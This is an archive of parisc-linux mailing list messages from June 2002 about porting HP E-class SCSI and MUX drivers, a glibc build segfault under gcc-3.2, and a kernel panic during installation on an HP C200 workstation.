From - Thu Nov 08 21:23:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI driver for E-class servers - SPIFI ?
Date: Wed, 12 Jun 2002 17:08:56 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20020612230856.D16EE485D@dsl2.external.hp.com>
References: <3D050639.B9F9695D@gmx.at> <20020610215312.29D2C483A@dsl2.external.hp.com> <3D053341.571CF331@gmx.at> <20020611213929.C75684854@dsl2.external.hp.com>  <3D07BB3E.A896878A@gmx.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621393 8981 80.91.229.3 (22 Nov 2014 01:56:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:33 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 12 17:08:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D16EE485D; Wed, 12 Jun 2002 17:08:56 -0600 (MDT)
In-Reply-To: Message from Christoph Plattner <christoph.plattner@gmx.at> 
   of "Wed, 12 Jun 2002 23:21:02 +0200." <3D07BB3E.A896878A@gmx.at> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15089

Christoph Plattner wrote:
> Sorry for this question again:
> What is the status of the MUX. As far I can remember, you started to
> write on this driver. Is this correct ?

no. I think Ryan Bradetich was working on something for this
for K-class. not sure this is the same thing as E55 though.

grant



From - Thu Nov 08 21:23:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Glibc cvs: ld segmentation fault
Date: Thu, 13 Jun 2002 11:53:47 +0200 (CEST)
Lines: 44
Approved: news@gmane.org
Message-ID: <1023962027.3d086babb213a@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621393 8985 80.91.229.3 (22 Nov 2014 01:56:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 13 10:43:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B5C5482F
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Jun 2002 10:43:16 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17IRIZ-00008q-00; Thu, 13 Jun 2002 11:53:47 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15090

Hi Dave,

To compile toolchaine with gcc-3.2, I also try cvs glibc.

I also apply your "patch glibc-2.2.5 for gcc-3.2"

After applying similar patch to "sysdeps/hppa/dl-machine.h", I always got ld
segmetation fault:

/Develop/parisc-linux/build/glibc/elf/ld.so.1 --library-path
/Develop/parisc-linux/build/glibc:/Develop/parisc-linux/build/glibc/math:/Develop/parisc-linux/build/glibc/elf:/Develop/parisc-linux/build/glibc/dlfcn:/Develop/parisc-linux/build/glibc/nss:/Develop/parisc-linux/build/glibc/nis:/Develop/parisc-linux/build/glibc/rt:/Develop/parisc-linux/build/glibc/resolv:/Develop/parisc-linux/build/glibc/crypt:/Develop/parisc-linux/build/glibc/linuxthreads
/Develop/parisc-linux/build/glibc/sunrpc/rpcgen -Y ../scripts -c
rpcsvc/bootparam_prot.x -o
/Develop/parisc-linux/build/glibc/sunrpc/xbootparam_prot.T
make[2]: *** [/Develop/parisc-linux/build/glibc/sunrpc/xbootparam_prot.stmp]
Segmentation fault
make[2]: Leaving directory `/Develop/parisc-linux/src/glibc/sunrpc'
make[1]: *** [sunrpc/others] Error 2
make[1]: Leaving directory `/Develop/parisc-linux/src/glibc'
make: *** [all] Error 2

### Thu Jun 13 09:12:24 2002 ###


Don't you have additional advice?

Thanks in advance,
    Joel

PS: I got the same result whatever the env I choose:

unset LD_LIBRARY_PATH
unset LD_RUN_PATH

or

export LD_LIBRARY_PATH=$DEST/lib
export LD_RUN_PATH=$DEST/bin


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Glibc cvs: ld segmentation fault
Date: Thu, 13 Jun 2002 13:04:09 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200206131704.g5DH49TT002072@hiauly1.hia.nrc.ca>
References: <1023962027.3d086babb213a@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621394 8986 80.91.229.3 (22 Nov 2014 01:56:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 13 11:04:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE01A485F
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Jun 2002 11:04:36 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5DH4AFN002073
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Jun 2002 13:04:11 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5DH49TT002072;
	Thu, 13 Jun 2002 13:04:09 -0400 (EDT)
In-Reply-To: <1023962027.3d086babb213a@webmail.tiscalinet.be> from "joel.soete@freebel.net" at Jun 13, 2002 11:53:47 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15091

> Don't you have additional advice?

Did you start with the debian version of glibc?  I have built 2.2.5-6
with 3.2 and am using it.  It's possible you need to update binutils.
Some linux versions also seem to have a tendency to cause random
segfaults.

Since I don't think I can duplicate your environment, you will have
to run ld under gdb to find out where it's segfaulting and get some
sense as to what's causing the problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI driver for E-class servers - SPIFI ?
Date: Thu, 13 Jun 2002 22:26:49 +0200
Organization: private
Lines: 73
Approved: news@gmane.org
Message-ID: <3D090009.CB2EF7B7@gmx.at>
References: <Pine.LNX.4.44.0206122318230.3448-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621394 8989 80.91.229.3 (22 Nov 2014 01:56:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:34 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 13 14:26:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9A354834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Jun 2002 14:26:29 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020613202626.WAEA8115.viefep14-int.chello.at@gmx.at>;
          Thu, 13 Jun 2002 22:26:26 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15092

Thanks, for the answers.

I never thought, the SE stands here for the single ended, I know the 
difference between SE and differential.

BTW: It's me, who wrote the MUX console support, and this is already
checked in into the Linux tree (for half an year now). 
But I am interested in having a full device support....

Christoph P.



"M. Grabert" wrote:
> 
> On Wed, 12 Jun 2002, Christoph Plattner wrote:
> 
> > Sorry, that I am not so "deep" in the HP device knowledge, can you give
> > me sime hints !
> >
> > HP-BP is this a HP bus system ?
> 
> Yes, it's the HP Precision Bus (aka NIO). AFAIK it's mainly used in the
> (very) old servers, like F10. I don't know what the current status of
> support
> is, but it used to be unsupported (no docu ?).
> 
> (hint: www.parisc-linux.org ->glossary, mailing list archive)
> 
> > Is this used in the E55 (or similar) ?
> 
> Yes. Although (regarding to www.openpa.net) something like a modified
> version.
> 
> (hint: www.openpa.net, www.google.com, www.parisc-linux.org ->hardware
> database)
> 
> > Is the "SE" SCSI that one in the E55 (what stands "SE" for) ?
> 
> SE stands for SingleEnded and reffers to how the SCSI device is connected
> (signalling etc.). It's the "normal" SCSI (unlike LVD,
> LowVoltageDifferential), used in SCSI-I and SCSI-II (narrow)
> 
> > What is SDTR ?
> 
> It's the signal send on the scsi bus to negotiate syncronous data
> transfer (or asynchronous sent with a REQ/ACK) if they support it.
> 
> > Sorry, but I am interested in that stuff, and I know, I can help after
> > initial steps. Some weeks ago, I rewrote an ethernet driver of an
> > not-well known chip on an VAX termianl for VAX Linux. So after some
> > hacking days (or better nights), there will be real progress.
> >
> > So I am interested in helping here.
> 
> nice :)
> 
> > Sorry for this question again:
> > What is the status of the MUX. As far I can remember, you started to
> > write on this driver. Is this correct ?
> 
> Perhaps s.o. can answer this question. AFAIK somebody is indeed writing
> on it and has succeded to use the console port on the MUX.
> 
> geretings max

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:23:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI driver for E-class servers - SPIFI ?
Date: Thu, 13 Jun 2002 22:30:35 +0200
Organization: private
Lines: 49
Approved: news@gmane.org
Message-ID: <3D0900EB.77E7CFAA@gmx.at>
References: <3D050639.B9F9695D@gmx.at> <20020610215312.29D2C483A@dsl2.external.hp.com> <3D053341.571CF331@gmx.at> <20020611213929.C75684854@dsl2.external.hp.com>  <3D07BB3E.A896878A@gmx.at> <20020612230856.D16EE485D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621394 8991 80.91.229.3 (22 Nov 2014 01:56:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:34 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 13 14:30:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 950994844
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Jun 2002 14:30:13 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020613203012.WMEK20009.viefep15-int.chello.at@gmx.at>;
          Thu, 13 Jun 2002 22:30:12 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15093

Hello Grant,

MUX:
----
So, what is then the status of the docu then. You (I think it was you),
said something about a non-disclosure agreement. Is this opportunity
still active ?

SCSI:
-----
Are there plans to start developing the SCSI driver on base of this
NetBSD driver ?

Common:
-------
Is there a need to handle the bus system in a special way, or are the
devices full accessable, interrupts assigned, etc..., or is there
special
work to do ?


Christoph



Grant Grundler wrote:
> 
> Christoph Plattner wrote:
> > Sorry for this question again:
> > What is the status of the MUX. As far I can remember, you started to
> > write on this driver. Is this correct ?
> 
> no. I think Ryan Bradetich was working on something for this
> for K-class. not sure this is the same thing as E55 though.
> 
> grant
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:23:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI driver for E-class servers - SPIFI ?
Date: Thu, 13 Jun 2002 15:11:33 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20020613211133.A055C483D@dsl2.external.hp.com>
References: <3D050639.B9F9695D@gmx.at> <20020610215312.29D2C483A@dsl2.external.hp.com> <3D053341.571CF331@gmx.at> <20020611213929.C75684854@dsl2.external.hp.com> <3D07BB3E.A896878A@gmx.at> <20020612230856.D16EE485D@dsl2.external.hp.com>  <3D0900EB.77E7CFAA@gmx.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621394 8995 80.91.229.3 (22 Nov 2014 01:56:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:34 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 13 15:11:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A055C483D; Thu, 13 Jun 2002 15:11:33 -0600 (MDT)
In-Reply-To: Message from Christoph Plattner <christoph.plattner@gmx.at> 
   of "Thu, 13 Jun 2002 22:30:35 +0200." <3D0900EB.77E7CFAA@gmx.at> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15094

Christoph Plattner wrote:
> Hello Grant,
> 
> MUX:
> ----
> So, what is then the status of the docu then. You (I think it was you),
> said something about a non-disclosure agreement. Is this opportunity
> still active ?

Yes - I've already asked the person who can do this and they agreed to.
The issue was finding time to do it.  Please be patient with us since
"business issues" are keeping us busy right now. It might take
another month but hopefully not that long. We'll contact you off list
when it's ready.

> SCSI:
> -----
> Are there plans to start developing the SCSI driver on base of this
> NetBSD driver ?

Yes - I was pretty sure you or rbrad was going to port that. ;^)
In any case, someone who cares will make this port happen.

> Common:
> -------
> Is there a need to handle the bus system in a special way, or are the
> devices full accessable, interrupts assigned, etc..., or is there
> special
> work to do ?

The MMIO access makes the system bus transperent.
Interrupts will require some small bit of work identical to
what's be done for Zalon SCSI support.

grant



From - Thu Nov 08 21:23:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI driver for E-class servers - SPIFI ?
Date: Thu, 13 Jun 2002 23:18:32 +0200
Organization: private
Lines: 67
Approved: news@gmane.org
Message-ID: <3D090C28.6681CB62@gmx.at>
References: <3D050639.B9F9695D@gmx.at> <20020610215312.29D2C483A@dsl2.external.hp.com> <3D053341.571CF331@gmx.at> <20020611213929.C75684854@dsl2.external.hp.com> <3D07BB3E.A896878A@gmx.at> <20020612230856.D16EE485D@dsl2.external.hp.com>  <3D0900EB.77E7CFAA@gmx.at> <20020613211133.A055C483D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621395 8996 80.91.229.3 (22 Nov 2014 01:56:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:35 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 13 15:18:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90CD54850
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Jun 2002 15:18:11 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020613211809.WLUY8115.viefep14-int.chello.at@gmx.at>;
          Thu, 13 Jun 2002 23:18:09 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15095

Hello,

Grant Grundler wrote:
> 
> Christoph Plattner wrote:
> > Hello Grant,
> >
> > MUX:
> > ----
> > So, what is then the status of the docu then. You (I think it was you),
> > said something about a non-disclosure agreement. Is this opportunity
> > still active ?
> 
> Yes - I've already asked the person who can do this and they agreed to.
> The issue was finding time to do it.  Please be patient with us since
> "business issues" are keeping us busy right now. It might take
> another month but hopefully not that long. We'll contact you off list
> when it's ready.

Oh, no problem, I will patient here. From an older email, I thougt, 
this process was cancelled, I thought you wrote, that you will to 
that (the driver). So I was interested in the status. So now I am
up-to-date, ok.

> 
> > SCSI:
> > -----
> > Are there plans to start developing the SCSI driver on base of this
> > NetBSD driver ?
> 
> Yes - I was pretty sure you or rbrad was going to port that. ;^)
> In any case, someone who cares will make this port happen.

Ok, I will look, if I can help here. I have some experience in ethernet
work (and a little bit serial), SCSI and block devices are new for me,
but I am interested in (month by month, new regions of the kernel can
be discovered ..., I like it ....)

> 
> > Common:
> > -------
> > Is there a need to handle the bus system in a special way, or are the
> > devices full accessable, interrupts assigned, etc..., or is there
> > special
> > work to do ?
> 
> The MMIO access makes the system bus transperent.
> Interrupts will require some small bit of work identical to
> what's be done for Zalon SCSI support.

Ok, that helps in starting driver development.

> 
> grant


Bye
Christoph P.


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:23:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <klaue@otto.t4y-it.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] installation problems on c200
Date: Thu, 13 Jun 2002 23:21:28 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <002201c21320$660e4e50$6401a8c0@bartw2k>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621395 9000 80.91.229.3 (22 Nov 2014 01:56:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:35 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 13 15:22:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from otto.t4y-it.com (otto.t4y-it.com [217.115.141.93])
	by dsl2.external.hp.com (Postfix) with SMTP id 5B436485E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Jun 2002 15:22:28 -0600 (MDT)
Original-Received: (qmail 27618 invoked from network); 13 Jun 2002 21:19:48 -0000
Original-Received: from p5084f57f.dip.t-dialin.net (HELO bartw2k) (80.132.245.127)
  by otto.t4y-it.com with SMTP; 13 Jun 2002 21:19:48 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15096

hi,

i have a c200 and want to install from a palinux-2.4.18-pa26-netinst image.
after some problems booting from the internal cdrom, i have connected an
external box with a traxdata writer. from this device the boot is working
until the message "freeing unused kernel memory". after this i got some
ext2-fs errors concerning the ramdisk. the last message is a kernal panic
"no init found. try passing init= option to kernel".

is there anybody out who can help me to realize where the problem might be?
the same is if i use a 2.4.18-pa35 image.
i have already searched the list archive but i wasn't able to find a
solution.

ok, i'm a newbie but i have the dream of using linux on my little hp box!

regards,

kim




From - Thu Nov 08 21:23:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
